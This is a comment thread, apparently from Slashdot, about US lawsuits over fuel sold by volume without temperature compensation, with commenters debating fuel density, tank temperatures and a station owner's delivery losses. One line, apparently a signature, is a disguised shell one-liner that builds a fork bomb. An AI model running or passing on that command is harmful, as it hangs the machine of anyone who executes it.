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Motorists Sue Over 'Hot' Fuel
i_like_spam writes "Motorists in 13 states have filed lawsuits against big oil companies and gas retailers alleging unfair pricing practices related to fuel-pumping temperatures. From an industry standard developed in the 1920's, the price for a gallon of gasoline is based on the density of the fuel at a temperature of 60 degress F. A gallon of gas at higher temperatures is less dense, and therefore contains less energy. The lawsuits claim additional costs of 3 to 9 cents per gallon without temperature adjustments. The fuel industry claims that the costs of installing temerature-adjustment sensors on every pump would be prohibitively high. These sensors are already installed in Canada, however, where the colder temperatures favor consumers."
Look on the bright side - the fact that the US companies do this sort thing to a greater extent than in other countries is evidence that they operate in more competitive and less regulated environment where a few cents is noticed. And while you may pay a few extra cents for you petrol, you probably pay less for other things because of this.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It is not the average but the variation that is important. For example, temperatures are higher in the summer when prices are also higher. Refiners could arrange things to keep prices more even but if this effect is large enough, this could be an intentional thumb on the scale. I think ethanol, which is added in the summer is a larger effect. It costs less that gas and has less energy density so you have to fill up more often when the prices are higher.s -selling-solar.html
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Get more energy in the summer: http://mdsolar.blogspot.com/2007/01/slashdot-user
I find myself extremely skeptical. fuel tanks are usualy fairly far underground. buried tanks are going to be fairly near isothermal and the ambient temperature is not going to change the temp very much on it's short trip to the tank.
If anyone is getting ripped by this, it's the independent fuel stations. There a fuel truck that has been driving for days or dipped out of above-ground storage might indeed be warmer. So the station is buying hot fuel. But the consumer is probably buying fuel much closer to the underground temperature. It would not be hard to fix this since measuring the temperature of the fuel truck would be easy and infrequent.
Finally, were talking a couple of percent difference in energy per gallon here. Don't people suppose that their cars efficiency might also vary by a several percent with ambient temperature?
Finally, the station sells gas by the gallon not by the BTU. you are still getting a gallon. If anything you are getting more than a gallon since it's coming out of a cold tank and then expanding in your hot car tank. So actually you owe them more not less.
Some drink at the fountain of knowledge. Others just gargle.
I think all you need to know about this is they went to the trouble to install them in Canada where the temp favors the consumer. That would seem to indicate the gas company believes in the phenomenon in question.
I would point out that in aviation, especially military, navel, and commercial aviation, you never hear talk of gallons of fuel, but rather pounds, or kilos of fuel. This is precisely because the proper metric for the determination of the energy content of a fuel payload is the mass of the fuel rather than the volume of the fuel.
determination
This is absolutely correct. I used to own a small convenience store and gas station - independently operated - I could buy my fuel from whatever supplier would deliver to me at the best price. The suppliers were also for the most part independently operated - some would buy fuel from various depots, others were married to specific suppliers, however, they purchased the fuel in large quantities (typically 100,000 L increments) and stored the fuel in underground tanks at their distribution facility.
When I would call to order 10,000L of fuel each week, they would fill the 2 compartments in the truck to 80% of their capacity (2 x 6000L compartments filled to 80% = 9600 L) and head out on the highway to my location. After an hour in the sun on a hot day driving to my location, the usual delivery quantity that the register on the back of the delivery truck would read after emptying the 2 compartments was around 9750L - I had to pay for 9750L. The same truck on a cold day in November would often deliver me only 9500L - even though at the distribution terminal they had filled the truck to their set 80% - 9600L.
My tanks were underground and typically a thermometer dip in the fuel showed a temperature around 58F. So when I bought fuel in the summer - I was often cheated of almost 150L of fuel - I would pay for 9750L to put in my tank, and it would cool down and by the time I pumped it for the customers - I only had 9600L available to pump out. My mark-up was 3c/L - so on 10,000 L approx $300. The "missing" 150L cost me about $150. My profit margin was cut in half in the summer. I figure I somewhat made up for it in the colder months - but it would have been nice if the delivery trucks had been temperature compensating.
I'm out of that business now - $300 a week profit from selling gas just doesn't pay the bills. I'm surprised any small independent gas stations are still in operation.